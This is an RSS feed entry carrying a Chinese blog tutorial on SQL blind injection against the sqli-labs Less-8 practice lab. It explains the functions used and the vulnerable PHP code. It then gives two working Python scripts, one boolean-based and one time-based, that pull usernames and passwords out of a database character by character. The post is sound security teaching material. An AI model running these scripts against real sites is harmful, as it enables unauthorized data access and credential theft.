<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>编程 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E7%BC%96%E7%A8%8B/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 23 Jul 2018 04:05:08 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>SQL注入到EXP编写</title>
		<link>/web/438.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 03 Jul 2018 14:47:19 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[脚本]]></category>
		<guid isPermaLink="false">/?p=406</guid>

					<description><![CDATA[今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！ 最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末...]]></description>
										<content:encoded><![CDATA[<p>今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！</p>
<p>最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末考试，但是越是期末，与紧张，就越是感觉非常刺激~<br />
<img src="https://ww2.sinaimg.cn/large/9150e4e5ly1fsq7wc1wmlj20g40g4aad.jpg" alt="" /></p>
<p>对于SQL注入还不理解的朋友可以参看之前的文章《<a href="https://blog.dyboy.cn/websecurity/34.html" target="_blank" rel="noopener">SQL注入基础</a>》,本文章主要讲SQL盲注。</p>
<h1>0x00 盲注简介：</h1>
<p>顾名思义，像盲人一样注入（什么鬼解释…），通俗来说，当我们发现有SQL注入时，确不能得到SQL查询的数据回显，除了之前的写文件方式，还有就是盲注了，盲注就是通过服务器返回的状态等各种因素来猜测，最终组合得到哦我们想要的数据。</p>
<h1>0x01 盲注必须知识：</h1>
<p>SQL盲注中常用的几个内置函数，了解一下~</p>
<pre class="lang:default decode:true ">length(str)：返回str字符串的长度。
substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
mid(str,pos,len):跟上面的一样，截取字符串
ascii(str)：返回字符串str的最左面字符的ASCII代码值。
asc();同上
ord(str):同上，返回ascii码
if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1&gt;2,1,0),返回0</pre>
<p>&nbsp;</p>
<h1>0x02 基于网页特征的Bool盲注：</h1>
<p>这里还是基于Sqli平台吧，这货花样多~</p>
<p>先以最简单的 Less-8 这个单引号Bool盲注的题</p>
<p>分析源码:</p>
<pre class="lang:default decode:true ">&lt;?php
//和原文件有删减，为了更好的阅读效果
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0); //不报错

if(isset($_GET['id']))    //如果有参数id传入
{
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)    //如果查到数据就执行如下
    {
      echo '&lt;font size="5" color="#FFFF00"&gt;';    
      echo 'You are in...........';
      echo "&lt;br&gt;";
        echo "&lt;/font&gt;";
      }
    else     //否则执行这个     从两者返回的网页结构不一样，就可以作为我们盲注条件判断的依据
    {

    echo '&lt;font size="5" color="#FFFF00"&gt;';
    echo "&lt;/br&gt;&lt;/font&gt;";
    echo '&lt;font color= "#0000ff" font size= 3&gt;';

    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?&gt;</pre>
<p>&nbsp;</p>
<p>根据服务器返回的不同网页结构来判断当前的SQL注入的关键词是否正确，一个有 <strong>You</strong> 单词，可根据这一特征。</p>
<p>构造这样的语句，返回<strong>if(true)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png" width="1247" height="354" /></a></p>
<p>不满足，返回<strong>if(false)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png" width="1249" height="347" /></a></p>
<p>下面就写一个简单的<span class="wpcom_tag_link"><a href="/tags/%e8%84%9a%e6%9c%ac" title="脚本" target="_blank">脚本</a></span>来具体解释：</p>
<pre class="lang:default decode:true "># name：SQL bind
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL盲注学习脚本参考

import requests
import re


req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}


#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=97+%23
#注入参考语句2： id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=ascii("a")+%23
username = "username:"
password = "password:"


#得到usernmae
for i in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            username = username + key
            print(username)


#得到password    
for j in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+password+from+users+limit+0,1),"+str(j)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果如下：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png" width="1353" height="733" /></a></p>
<p>这个脚本就是基于网页特征来判定的，下面看看时间盲注的脚本怎么写！</p>
<p>0x03 延时注入：<br />
当一个网页返回的数据根本没变化，报错也不管用，时间盲注就可以上线了！</p>
<p>先看一个SQL语句：</p>
<pre class="lang:default decode:true ">if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)</pre>
<p>&nbsp;</p>
<p>这个SQL语句执行的效果就是，如果if语句成立那么就服务器延时 3s 后返回网页给客户端，否则正常时间返回网页。通过这样一个条件，我们就可以进行时间盲注了。</p>
<p>时间盲注脚本如下：</p>
<pre class="lang:default decode:true "># name：SQL time bind injection
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL时间盲注学习脚本参考


import requests
import time

req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}

#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.&lt;&gt;?/;!$#{}-'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)+%23

username = "username:"
password = "password:"

#得到username
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            username = username + key
            print(username)


#得到password
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+password+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png" width="999" height="754" /></a></p>
<p>没错，时间盲注就是将判断条件改成了时间，时间盲注往往有更广泛的用途~</p>
<p>0x04 总结<br />
没错，就是这么简单！欢迎各位来探讨技术~</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
